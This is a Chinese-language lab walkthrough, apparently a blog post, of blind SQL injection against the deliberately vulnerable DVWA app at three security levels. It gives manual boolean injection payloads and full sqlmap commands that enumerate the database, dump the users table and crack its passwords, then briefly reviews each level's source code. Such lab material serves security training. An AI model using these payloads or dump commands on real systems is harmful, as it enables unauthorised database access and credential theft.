盲注入有点不太好搞,如果不使用sqlmap,纯手工注入的话,过程略复杂。盲注时,当输入一个字符时,只会判断出存在与否,不会显示出具体的数据,如图7.0.1和图7.0.2。我们可以利用这一点慢慢测试,判断我们的猜测是否为真。
图7.0.1 判断存在
图7.0.2 判断不存在
实验拓扑如图7.0.3所示。
图7.0.3 实验拓扑
7.1 Low级别
首先我们判断存在哪些数据库和表。
使用命令
1′ and length(database())<5#
可判断数据库名字的长度,执行这句话得到结果为真,效果如图7.0.1,我们可以继续判断,直到确定这个长度为4,如图7.1.1。
图7.1.1 数据库名长度为4
我们来猜数据库的名字。我们首先使用语句
1′ and left(database(),1)<‘a’#
进行测试,得到结果为假,如图7.1.2,当小于97时为真,如图7.1.3。经过多次测试后得到正确的值,“d”,如图7.1.4。经过最终测试,得到数据库名dvwa,如图7.1.5所示。
图7.1.2 测试结果为假
图7.1.3 测试结果为真
图7.1.4 测试结果为“d”
图7.1.5 得到数据库名dvwa
鉴于一直这么猜测比较浪费时间和精力,因此我们采用sqlmap进行测试。首先判断数据库名,使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” –current-db
得到图7.1.6的结果,可以发现数据库名dvwa和我们刚刚手工注入得到的一样。
图7.1.6 sqlmap获取数据库名
接下来使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” –current-db –tables -Ddvwa
获取该数据库中的表名,得到图7.1.7的结果。我们可以发现这里面有两张表,guestbook和users。
图7.1.7 sqlmap获取数据库的表名
我们使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” -T guestbook –columns
获取表结构,分别得到图7.1.8和图7.1.9。由两表结构知,我们需要的数据在users表中,因此接下来我们主要对users表进行测试。
图7.1.8 sqlmap获取guestbook表结构
图7.1.9 sqlmap获取users表结构
使用命令
sqlmap -u “http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=low” -T users –dump
获取users表中的数据,得到图7.1.10的结果。我们可以发现,由于几个用户的密码过于简单,sqlmap可以直接使用自带的字典破解出明文。
图7.1.10 sqlmap获取users表中的数据
7.2 Medium级别
这个级别使用的是POST方式,因此我们更改一下sqlmap的命令,继续使用sqlmap。使用命令
sqlmap -u http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/#
–cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=medium”
–data=”id=1&Submit=Submit” –level=2 –current-db
获取当前数据库名,如图7.2.1。
图7.2.1 sqlmap获取数据库名
接下来的过程和Low级别类似,最后使用命令
sqlmap -u http://192.168.31.130:8080/DVWA/vulnerabilities/sqli_blind/#
–cookie=”PHPSESSID=943e2c4fd420bb116cd983f9c6e9ffa2;security=medium”
–data=”id=1&Submit=Submit” –level=2 -T users –dump
能顺利获取数据,如图7.2.2所示。
图7.2.2 sqlmap获取users表中的数据
7.3 High级别
High级别采用cookie方式提交数据,我们首先使用BurpSuite拦截数据并保存至文件,使用该文件在sqlmap中进行测试,能获取数据,如图7.3.1。
图7.3.1 sqlmap测试注入点
接下来过程与以上级别类似,最后使用命令
sqlmap -r “/root/da.t” –level 2 -T users –dump
获取到users表中的所有数据,如图7.3.2。
图7.3.2 sqlmap获取users表中所有数据
7.4 分析
此过程如果使用传统的手工注入,那么将在猜测数据上花费大量时间,因此这里使用的是sqlmap工具。sqlmap是一个开源的渗透测试工具,可以自动检测和利用SQL注入漏洞并获取数据库,支持MySQL、Oracle、MS SQL Server、MS Access等数据库系统,功能强大,在渗透测试中广泛使用。
我们可以分析各个等级的源代码。
低等级的代码如图7.4.1所示。
图7.4.1 Low级别源代码
我们可以获取一些关键信息,包括提交方法(GET)、构造的查询语句、返回结果形式等。这里只是简单的GET方法,但由于不显示查询的数据库内容,只显示有或无,这给测试工作带来了一定的工作量。sqlmap基于自身强大的能力,对于这类盲注还是可以很快破解的。
Medium级别的代码如图7.4.2所示。
图7.4.2 Medium级别源码
这里和Low级别类似,只是将GET方法改成了POST方法,对输入的字符串进行转义,同时查询语句那里的id处少了单引号,而这些问题在6.2节我们已经解决过。对于sqlmap来讲,这更不是问题,分分钟能跑出结果,脱裤。
High级别源码如图7.4.3所示。
图7.4.3 High级别源代码
这里所使用的提价方法是COOKIE方法,其他和第6节和上述内容类似。与非盲注入相比,这里少了失败后die掉的内容,算是简化了一些过程。但这仍是能注入的,sqlmap也是很快能脱裤。
原创文章,91tfboys.com版权所有,转载请注明出处。